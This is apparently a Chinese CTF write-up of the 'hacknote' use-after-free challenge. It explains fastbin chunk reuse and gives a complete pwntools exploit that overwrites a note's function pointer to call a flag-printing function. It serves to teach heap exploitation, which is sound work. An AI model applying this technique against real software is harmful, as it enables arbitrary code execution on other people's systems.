pwn 之use_after_free

题目链接
通过这道题对use_after_free进行一次学习
先贴出源代码

add_note

        notelist[i] = malloc(8u);
			...
        *(_DWORD *)notelist[i] = print_note_content;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = notelist[i];
        v0[1] = malloc(size);
        if ( !*((_DWORD *)notelist[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)notelist[i] + 1), size);
        puts("Success !");
        ++count;

del_note

    free(*((void **)notelist[v1] + 1));
    free(notelist[v1]);

prin_note

    (*(void (__cdecl **)(void *))notelist[v1])(notelist[v1]);

从这三个函数中可以分析出所使用的数据结构

note_list struct

通过观察del_note,发现其free了相应的note后并没有将对应notelist[i]置为NULL,notelist[i]任然指向size 8 的fast bin,这就为我们的再次利用提供了可能。

利用过程

1.两次add,申请大于12B size的chunk

add 2
为什么要add两次?为什么要申请12B的chunk?这两个坑稍后再填。
2.两次free,先free(notelist[0]),再free(notelist[1])。两次free后,notelist[0]和notelist[1]所指向的chunk加入fastbin 链表,根据LIFO原则,notelist[1]会接在链表头,当再次需要8B的chunk时,程序不会重新分配一个新的8B的chunk,而会先从fastbin中找一找有没有8B的chunk。
两次free
3.再add_note,这次的content中payload = p32(aim fun),
然后print_note(index = 0), aim fun 执行。

notelist[2]首先需要8B大小的chunk,程序会首先从fastbin中寻找有没有被free掉的8B的chunk,发现有,所以把链表head处的notelist[1]所指向的chunk分配给了notelist[2],然后notelist[2]的content的大小为8B,所以将fastbin中剩下的notelist[0]所指向的chunk分配给content。这样下来,content所写入的数据将会被notelist[0]所利用。至于如何利用呢?是否还记得prin_note源码中的

(*(void (__cdecl **)(void *))notelist[v1])(notelist[v1])

将notelist[v1]中存的第一个参数作为函数地址引用。所以这样就可以达到执行写入的任意函数了。
给notelist[2]的content中写入任意fun,再prin_note index=0,就可以执行任意fun了。
现在再把前面的两个坑给填了。

1.add两次是为了让fast bin 中有两个notelist[]指向的chunk,使得content能够分到一个fast bin 链表中的chunk。
2.为什么要大于12呢,
chunk
chunk的结构就像上图,32位的程序中的pre size 和size均为4B,malloc(12)之后,所分配的payload区域仅为8B,剩下的4B占有下一个chunk的pre size的位置。所以如果malloc(x<=12),则申请的chunk也会分配8B的chunk,使得fast bin链表中会加入有影响的元素。
由于程序里面含有一个magic函数,所以可以直接利用

int magic()
{
  return system("cat flag");
}

exp

from pwn import *
context.log_level="debug"
magic = 0x08048986
p = process('./hacknote')
def add(size,content):
    p.sendlineafter("Your choice :","1")
    p.sendlineafter('Note size :',str(size))
    p.sendlineafter("Content :",content)
def delete(index):
    p.sendlineafter("Your choice :","2")
    p.sendlineafter("Index :",str(index))
def prin(index):
    p.sendlineafter("Your choice :","3")
    p.sendlineafter("Index :",str(index))
#raw_input()
payload1=p32(magic)
add(12,"aaa")
add(12,"ddaa")
delete(0)
delete(1)
add(8,payload1)

prin(0)
p.interactive()

本文参考了以下几个链接

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free/
https://paper.seebug.org/445/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值